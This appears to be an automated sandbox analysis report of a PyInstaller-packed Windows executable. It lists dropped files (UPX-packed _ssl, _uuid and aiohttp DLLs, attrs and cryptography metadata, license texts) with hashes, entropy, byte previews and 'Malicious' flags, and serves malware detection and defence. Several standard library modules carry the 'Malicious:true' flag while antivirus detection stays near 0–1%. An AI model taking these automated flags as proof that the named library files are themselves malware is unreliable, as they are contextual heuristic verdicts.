                                                                                                                                                                                                                                    MD5:D9EEEEACC3A586CF2DBF6DF366F6029E
                                                                                                                                                                                                                                    SHA1:4FF9FB2842A13E9371CE7894EC4FE331B6AF9219
                                                                                                                                                                                                                                    SHA-256:67649E1E8ACD348834EFB2C927AB6A7599CF76B2C0C0A50B137B3BE89C482E29
                                                                                                                                                                                                                                    SHA-512:0B9F1D80FB92C796682DBA94A75FBCE0E4FBEAEDCCD50E21D42D4B9366463A830109A8CD4300AA62B41910655F8CA96ECC609EA8A1B84236250B6FD08C965830
                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                    Antivirus:
                                                                                                                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                    • Antivirus: Virustotal, Detection: 1%, Browse
                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......pU..44..44..44..=Ls.04...O.64...O..54...O.94...O.<4...O.74...O.14...F.64..44.15...O.=4...O..54...O..54...O.54..Rich44..........................PE..d.....Vc.........." ...!.........`..P....p...................................0............`..........................................+..P....)....... .......................+..$...................................P...@...........................................UPX0.....`..............................UPX1.........p......................@....rsrc........ ......................@......................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\_MEI67202\_ssl.pyd

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):62336
                                                                                                                                                                                                                                    Entropy (8bit):7.846104968038435
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:1536:I6ll/oOM5AGIyI1asq3YGDTgzOordBQkJIDt7o7/7Syi/Px:d/6AGLIcsq3YGn0ZQuIDt7ojEHx
                                                                                                                                                                                                                                    MD5:FD0F4AED22736098DC146936CBF0AD1D
                                                                                                                                                                                                                                    SHA1:E520DEF83B8EFDBCA9DD4B384A15880B036EE0CF
                                                                                                                                                                                                                                    SHA-256:50404A6A3DE89497E9A1A03FF3DF65C6028125586DCED1A006D2ABB9009A9892
                                                                                                                                                                                                                                    SHA-512:C8F3C04D87DA19041F28E1D474C8EB052FE8C03FFD88F0681EF4A2FFE29755CFD5B9C100A1B1D2FDB233CB0F70E367AF500CBD3CD4CE77475F441F2B2AA0AB8A
                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                    Antivirus:
                                                                                                                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                    • Antivirus: Virustotal, Detection: 1%, Browse
                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B3"..RL,.RL,.RL,.*.,.RL,.)M-.RL,.)I-.RL,.)H-.RL,.)O-.RL,.)M-.RL,b(M-.RL,.RM,.SL,. M-.RL,.)A-.RL,.)L-.RL,.).,.RL,.)N-.RL,Rich.RL,........................PE..d.....Vc.........." ...!............0.....................................................`.........................................p...d....................P......................................................@...@...........................................UPX0....................................UPX1................................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\_MEI67202\_uuid.pyd

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):22400
                                                                                                                                                                                                                                    Entropy (8bit):7.3532819751791
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:384:MKbjUslT27KvpCuNZa7gJXTkIDewOYKIYiSy1pCQIJPxh8E9VF0NyYk:MIj3ltLNpDkIDewO6YiSyvWPxWEW
                                                                                                                                                                                                                                    MD5:3377AE26C2987CFEE095DFF160F2C86C
                                                                                                                                                                                                                                    SHA1:0CA6AA60618950E6D91A7DEA530A65A1CDF16625
                                                                                                                                                                                                                                    SHA-256:9534CB9C997A17F0004FB70116E0141BDD516373B37BBD526D91AD080DAA3A2B
                                                                                                                                                                                                                                    SHA-512:8E408B84E2130FF48B8004154D1BDF6A08109D0B40F9FAFB6F55E9F215E418E05DCA819F411C802792A9D9936A55D6B90460121583E5568579A0FDA6935852EE
                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                    Antivirus:
                                                                                                                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                    • Antivirus: Virustotal, Detection: 1%, Browse
                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Rp^.<#^.<#^.<#W..#\.<#..="\.<#..9"R.<#..8"V.<#..?"].<#..="\.<#..="[.<#^.=#t.<#..4"_.<#..<"_.<#...#_.<#..>"_.<#Rich^.<#................PE..d...e.Vc.........." ...!. .......`.......p................................................`.........................................8...L....................@..........................................................@...........................................UPX0.....`..............................UPX1..... ...p......................@....rsrc................"..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\_MEI67202\aiohttp\_helpers.cp311-win_amd64.pyd

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):27136
                                                                                                                                                                                                                                    Entropy (8bit):7.693215396297118
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:384:YyQdVWwViGwdnG0o2JAP2XSc4oX3vkULZjlvPMyDZa7gJXnvV:+d0EipntaRDoX3vkULZnpf
                                                                                                                                                                                                                                    MD5:790CB22E1484A36874D3E91AD7127156
                                                                                                                                                                                                                                    SHA1:62D3F04F910B845977B842E74B7101A9A07B8449
                                                                                                                                                                                                                                    SHA-256:12D2088DD8FF30857006323800812874A2467D9406615A2C3B50F4FB2AF5C9FB
                                                                                                                                                                                                                                    SHA-512:102C53119F79DC5AC5391D8F41234663289D5DB49845D86CD84F97920BAAC35B57550C44DB8DDDCAFF01D02D810EFFFC818E84CC271E04F9B4FC1A16A25DFEEA
                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......R!9X.@W..@W..@W..8...@W..?V..@W.]8V..@W..?R..@W..?S..@W..?T..@W..=V..@W..@V..@W.,._..@W.,.W..@W.,....@W.,.U..@W.Rich.@W.........PE..d....yce.........." ...%.p...........C.......................................p............`.........................................@b..`....`..P....`.......................b..$....................................O..@...........................................UPX0....................................UPX1.....p.......b..................@....rsrc........`.......f..............@..............................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\_MEI67202\aiohttp\_http_parser.cp311-win_amd64.pyd

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):79872
                                                                                                                                                                                                                                    Entropy (8bit):7.937334857912581
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:1536:KFIPjnlL32iiGJpS0Z+UxiEp9s030SEHMV84amYynr:e0peGNZ+010Ns8bmY8
                                                                                                                                                                                                                                    MD5:9C1DE8C7752634CB01795F5ADF9C9ED4
                                                                                                                                                                                                                                    SHA1:1DA66AAEB726492F6C8DE6FA9A95BCAE7FD40514
                                                                                                                                                                                                                                    SHA-256:6C20B55CEF694D16E0FABCD5E8665DDE817132D54D06D5986B8A5D3219746A5D
                                                                                                                                                                                                                                    SHA-512:770D75077D98E58FC7155D59C376E9689B7266CC9457413055836D93F76766F7A4CDD4723D36B51766CB46D252A73DECFCD3AC369BD0A696015C702E66DCF92F
                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............a.Q.a.Q.a.Q...Q.a.Q...P.a.Q...P.a.Q...P.a.Q.a.QAa.Q...P.a.Q...P.a.Q...P.a.Q..P.a.Q..P.a.Q..}Q.a.Q..P.a.QRich.a.Q........PE..d....yce.........." ...%.0.......P..0....`................................................`.............................................h................... .....................................................0...@...........................................UPX0.....P..............................UPX1.....0...`...0..................@....rsrc................4..............@..............................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\_MEI67202\aiohttp\_http_writer.cp311-win_amd64.pyd

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):25088
                                                                                                                                                                                                                                    Entropy (8bit):7.661652717386834
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:384:giunSGZm7hiJD/0PBnll7Y7KdZ/Lxm1/dnRo4KiVU7C8/4bKSFaZa7gJX43GV:gn1IliJDi5lW250VU7C8DSkpO
                                                                                                                                                                                                                                    MD5:4692B571D6B008770EB698F563A413CB
                                                                                                                                                                                                                                    SHA1:C21C50B9E8510366F0D388DE7D0BE793DDEE6904
                                                                                                                                                                                                                                    SHA-256:65BD9AE1B0F8EB6295E197E838E28748B76B54307E1D29D97F3BA4CA9E07C7E4
                                                                                                                                                                                                                                    SHA-512:841D0F0242A1262173934077D1E4D4A532CB3F19AF320FD0873031070EF4F391667AD35D875AAC76795C98849F9C1B5E6477C2BB0195FAC24F3329A9782A57B2
                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b!9T&@W.&@W.&@W./8..$@W.3?V.$@W.m8V.$@W.3?R.*@W.3?S..@W.3?T.%@W..=V.%@W.&@V..@W..._.'@W...W.'@W.....'@W...U.'@W.Rich&@W.........................PE..d....yce.........." ...%.`...........k... ................................................`.........................................@...h.......P............ ..$....................................................w..@...........................................UPX0....................................UPX1.....`... ...Z..................@....rsrc................^..............@..............................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\_MEI67202\aiohttp\_websocket.cp311-win_amd64.pyd

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):19968
                                                                                                                                                                                                                                    Entropy (8bit):7.577385675089119
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:384:R5nVmLcfRdmmokNVjFEci6Vnqz4hmlxjPskZa7gJXWSx:Y2RdmxkzT904hwPp7
                                                                                                                                                                                                                                    MD5:62286D90613BBD06372E493E374669A6
                                                                                                                                                                                                                                    SHA1:DAD338F674BF71F50C9F0944C8FCC3C6CA0358A8
                                                                                                                                                                                                                                    SHA-256:BD32698AA5A72A0A12BF8C02B12A37BE6E9B12FFE525BAB37C1A88E46AAE9E3A
                                                                                                                                                                                                                                    SHA-512:62F380E7D73C8425B87F7D2267055806B69D2BA15CDE03E5E5DFAD722EEF0C871871AFB1BB6A7563D7752A62DAFD638486118BC3C2D770B70CEF061C59A15CA4
                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......R!9[.@W..@W..@W..8...@W..?V..@W.]8V..@W..?R..@W..?S..@W..?T..@W..=V..@W..@V..@W.,._..@W.,.W..@W.,....@W.,.U..@W.Rich.@W.........PE..d....yce.........." ...%.P..........P.....................................................`.........................................@...d.......P...............4...................................................P...@...........................................UPX0....................................UPX1.....P.......F..................@....rsrc................J..............@..............................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\_MEI67202\attrs-23.1.0.dist-info\INSTALLER

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):4
                                                                                                                                                                                                                                    Entropy (8bit):1.5
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:3:Mn:M
                                                                                                                                                                                                                                    MD5:365C9BFEB7D89244F2CE01C1DE44CB85
                                                                                                                                                                                                                                    SHA1:D7A03141D5D6B1E88B6B59EF08B6681DF212C599
                                                                                                                                                                                                                                    SHA-256:CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
                                                                                                                                                                                                                                    SHA-512:D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:pip.

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\_MEI67202\attrs-23.1.0.dist-info\METADATA

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:HTML document, Unicode text, UTF-8 text
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):11348
                                                                                                                                                                                                                                    Entropy (8bit):5.155260943272538
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:192:j/sUYExPRtXLt5Yy9EqOmoKTioEJdQ/0GmlWEx+VqAI6OfmEIPSo9t+kwLaH:j/sW6y9EqHoKvgAml9rqOnQLy8
                                                                                                                                                                                                                                    MD5:7774D77D730C0C295CB6E3E46817DAD6
                                                                                                                                                                                                                                    SHA1:406B5C84945B8DC1035BD53EB33F289B9AE699FC
                                                                                                                                                                                                                                    SHA-256:CA0970517928EF943E209E8B98F550E18F7D2894B708F2B4356F28BD7158B038
                                                                                                                                                                                                                                    SHA-512:6E991F3144CCA536E906A180DA7FAF3198521C81EFF4143FB943ECC6C6FAA558D0B1F2AA1379A7294BAA039D67202C671027D12C821D95B859EC25E0F78C2C21
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:Metadata-Version: 2.1.Name: attrs.Version: 23.1.0.Summary: Classes Without Boilerplate.Project-URL: Documentation, https://www.attrs.org/.Project-URL: Changelog, https://www.attrs.org/en/stable/changelog.html.Project-URL: Bug Tracker, https://github.com/python-attrs/attrs/issues.Project-URL: Source Code, https://github.com/python-attrs/attrs.Project-URL: Funding, https://github.com/sponsors/hynek.Project-URL: Tidelift, https://tidelift.com/subscription/pkg/pypi-attrs?utm_source=pypi-attrs&utm_medium=pypi.Author-email: Hynek Schlawack <hs@ox.cx>.License-Expression: MIT.License-File: LICENSE.Keywords: attribute,boilerplate,class.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python :: 3.7.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Classifier: P

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\_MEI67202\attrs-23.1.0.dist-info\RECORD

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:CSV text
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):3555
                                                                                                                                                                                                                                    Entropy (8bit):5.797706483584544
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:96:QwFmI0guUoqipQEqdwBxTGNmmUuAqG2PX2JRjiFcoqL/+Q:NBUoUTGwnuA2Xf9Q
                                                                                                                                                                                                                                    MD5:9F6828381D6BF7776432082C3EC4B3C4
                                                                                                                                                                                                                                    SHA1:03679DB96EE35CD3FB14ED343A85D6628B86700A
                                                                                                                                                                                                                                    SHA-256:1D8CFAF42FB9B9E79C8313175C477396A2ABD56FBA1C26B23F52A6DD76D844C7
                                                                                                                                                                                                                                    SHA-512:F9FE2798CAEA5E9600709A3153977D1864A69784809B97F582CBDA160380ECE90B19E7AE837E38BAF41B09E75B997FDA1EF07DDE8F6589F9C76372D85B9578D2
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:attr/__init__.py,sha256=dSRUBxRVTh-dXMrMR_oQ3ZISu2QSfhSZlik03Mjbu30,3241..attr/__init__.pyi,sha256=rIK-2IakIoehVtqXK5l5rs9_fJNCbnYtKTS3cOAVJD8,17609..attr/__pycache__/__init__.cpython-311.pyc,,..attr/__pycache__/_cmp.cpython-311.pyc,,..attr/__pycache__/_compat.cpython-311.pyc,,..attr/__pycache__/_config.cpython-311.pyc,,..attr/__pycache__/_funcs.cpython-311.pyc,,..attr/__pycache__/_make.cpython-311.pyc,,..attr/__pycache__/_next_gen.cpython-311.pyc,,..attr/__pycache__/_version_info.cpython-311.pyc,,..attr/__pycache__/converters.cpython-311.pyc,,..attr/__pycache__/exceptions.cpython-311.pyc,,..attr/__pycache__/filters.cpython-311.pyc,,..attr/__pycache__/setters.cpython-311.pyc,,..attr/__pycache__/validators.cpython-311.pyc,,..attr/_cmp.py,sha256=diMUQV-BIg7IjIb6-o1hswtnjrR4qdAUz_tE8gxS96w,4098..attr/_cmp.pyi,sha256=sGQmOM0w3_K4-X8cTXR7g0Hqr290E8PTObA9JQxWQqc,399..attr/_compat.py,sha256=d3cpIu60IbKrLywPni17RUEQY7MvkqqKifyzJ5H3zRU,5803..attr/_config.py,sha256=5W8lgRePuIOWu1ZuqF1899e2CmXGc9

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\_MEI67202\attrs-23.1.0.dist-info\WHEEL

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):87
                                                                                                                                                                                                                                    Entropy (8bit):4.699003560068366
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:3:RtEeXAaCQnvxP+tPCCfA5I:Rt2PQZWBB3
                                                                                                                                                                                                                                    MD5:14CCD3CE79ED5ED7DAD2420CD7C0D412
                                                                                                                                                                                                                                    SHA1:388B959646735E0095900E61F3AF8A90F594F0A3
                                                                                                                                                                                                                                    SHA-256:108D89B06C9DC142F918FF6DEA4CD9BFB1B71C33E2EC5B990C37FD227E9A9913
                                                                                                                                                                                                                                    SHA-512:6EA1321D7F62E8284C3C5B29A3D7940890A4488503832457BF6580108351C0B2A0EE871928561DFF7F71C9BA9D1B89B2D93C1C5839EEC4815032E89E670934B4
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:Wheel-Version: 1.0.Generator: hatchling 1.14.0.Root-Is-Purelib: true.Tag: py3-none-any.

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\_MEI67202\attrs-23.1.0.dist-info\licenses\LICENSE

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1109
                                                                                                                                                                                                                                    Entropy (8bit):5.104415762129373
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:bGf8rUrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:bW8rUaJHlxE3dQHOs5exm3ogFh
                                                                                                                                                                                                                                    MD5:5E55731824CF9205CFABEAB9A0600887
                                                                                                                                                                                                                                    SHA1:243E9DD038D3D68C67D42C0C4BA80622C2A56246
                                                                                                                                                                                                                                    SHA-256:882115C95DFC2AF1EEB6714F8EC6D5CBCABF667CAFF8729F42420DA63F714E9F
                                                                                                                                                                                                                                    SHA-512:21B242BF6DCBAFA16336D77A40E69685D7E64A43CC30E13E484C72A93CD4496A7276E18137DC601B6A8C3C193CB775DB89853ECC6D6EB2956DEEE36826D5EBFE
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:The MIT License (MIT)..Copyright (c) 2015 Hynek Schlawack and the attrs contributors..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHE

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:Zip archive data, at least v2.0 to extract, compression method=store
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1439447
                                                                                                                                                                                                                                    Entropy (8bit):5.58639468240011
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24576:6QRqL5TPAxNWlUKdcubgAnj90H0AWfh7dYMbP/Medfw:6QRqL2xNbeA
                                                                                                                                                                                                                                    MD5:83D235E1F5B0EE5B0282B5AB7244F6C4
                                                                                                                                                                                                                                    SHA1:629A1CE71314D7ABBCE96674A1DDF9F38C4A5E9C
                                                                                                                                                                                                                                    SHA-256:DB389A9E14BFAC6EE5CCE17D41F9637D3FF8B702CC74102DB8643E78659670A0
                                                                                                                                                                                                                                    SHA-512:77364AFF24CFC75EE32E50973B7D589B4A896D634305D965ECBC31A9E0097E270499DBEC93126092EB11F3F1AD97692DB6CA5927D3D02F3D053336D6267D7E5F
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:PK..........!. ..y............_collections_abc.pyc............................................d.Z.d.d.l.m.Z.m.Z...d.d.l.Z...e.e.e.........................Z...e.d...............Z.d...Z...e.e...............Z.[.g.d...Z.d.Z...e...e.d.............................Z...e...e...e...........................................Z...e...e.i.................................................................Z...e...e.i.................................................................Z...e...e.i.................................................................Z...e...e.g.............................Z...e...e...e.g...........................................Z...e...e...e.d...........................................Z...e...e...e.d.d.z.............................................Z...e...e...e...........................................Z...e...e.d.............................Z ..e...e.d.............................Z!..e...e...e"..........................................Z#..e.i.......................................

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\_MEI67202\cryptography-41.0.7.dist-info\INSTALLER

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):4
                                                                                                                                                                                                                                    Entropy (8bit):1.5
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:3:Mn:M
                                                                                                                                                                                                                                    MD5:365C9BFEB7D89244F2CE01C1DE44CB85
                                                                                                                                                                                                                                    SHA1:D7A03141D5D6B1E88B6B59EF08B6681DF212C599
                                                                                                                                                                                                                                    SHA-256:CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
                                                                                                                                                                                                                                    SHA-512:D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:pip.

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\_MEI67202\cryptography-41.0.7.dist-info\LICENSE

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):197
                                                                                                                                                                                                                                    Entropy (8bit):4.61968998873571
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:3:hWDncJhByZmJgXPForADu1QjygQuaAJygT2d5GeWreLRuOFEXAYeBKmJozlMHuO:h9Co8FyQjkDYc5tWreLBF/pn2mH1
                                                                                                                                                                                                                                    MD5:8C3617DB4FB6FAE01F1D253AB91511E4
                                                                                                                                                                                                                                    SHA1:E442040C26CD76D1B946822CAF29011A51F75D6D
                                                                                                                                                                                                                                    SHA-256:3E0C7C091A948B82533BA98FD7CBB40432D6F1A9ACBF85F5922D2F99A93AE6BB
                                                                                                                                                                                                                                    SHA-512:77A1919E380730BCCE5B55D76FBFFBA2F95874254FAD955BD2FE1DE7FC0E4E25B5FDAAB0FEFFD6F230FA5DC895F593CF8BFEDF8FDC113EFBD8E22FADAB0B8998
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:This software is made available under the terms of *either* of the licenses.found in LICENSE.APACHE or LICENSE.BSD. Contributions to cryptography are made.under the terms of *both* these licenses..

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\_MEI67202\cryptography-41.0.7.dist-info\LICENSE.APACHE

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):11360
                                                                                                                                                                                                                                    Entropy (8bit):4.426756947907149
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:192:nUDG5KXSD9VYUKhu1JVF9hFGvV/QiGkS594drFjuHYx5dvTrLh3kTSEnQHbHR:UIvlKM1zJlFvmNz5VrlkTS0QHt
                                                                                                                                                                                                                                    MD5:4E168CCE331E5C827D4C2B68A6200E1B
                                                                                                                                                                                                                                    SHA1:DE33EAD2BEE64352544CE0AA9E410C0C44FDF7D9
                                                                                                                                                                                                                                    SHA-256:AAC73B3148F6D1D7111DBCA32099F68D26C644C6813AE1E4F05F6579AA2663FE
                                                                                                                                                                                                                                    SHA-512:F451048E81A49FBFA11B49DE16FF46C52A8E3042D1BCC3A50AAF7712B097BED9AE9AED9149C21476C2A1E12F1583D4810A6D36569E993FE1AD3879942E5B0D52
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that control, are controlled by, or are under common. control with that entity. For the purposes of this definition,. "control" means (i) the power, direct or indirect, to cause the. direction or management of such entity, whether by contract or. otherwise, or (ii) ownership of fifty percent (50%) or more of the. outstanding shares, or (iii) beneficial ow

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\_MEI67202\cryptography-41.0.7.dist-info\LICENSE.BSD

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1532
                                                                                                                                                                                                                                    Entropy (8bit):5.058591167088024
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:MjUnoorbOFFTJJyRrYFTjzMbmqEvBTP4m96432s4EOkUTKQROJ32s3yxsITf+3tY:MkOFJSrYJsaN5P406432svv32s3EsIqm
                                                                                                                                                                                                                                    MD5:5AE30BA4123BC4F2FA49AA0B0DCE887B
                                                                                                                                                                                                                                    SHA1:EA5B412C09F3B29BA1D81A61B878C5C16FFE69D8
                                                                                                                                                                                                                                    SHA-256:602C4C7482DE6479DD2E9793CDA275E5E63D773DACD1ECA689232AB7008FB4FB
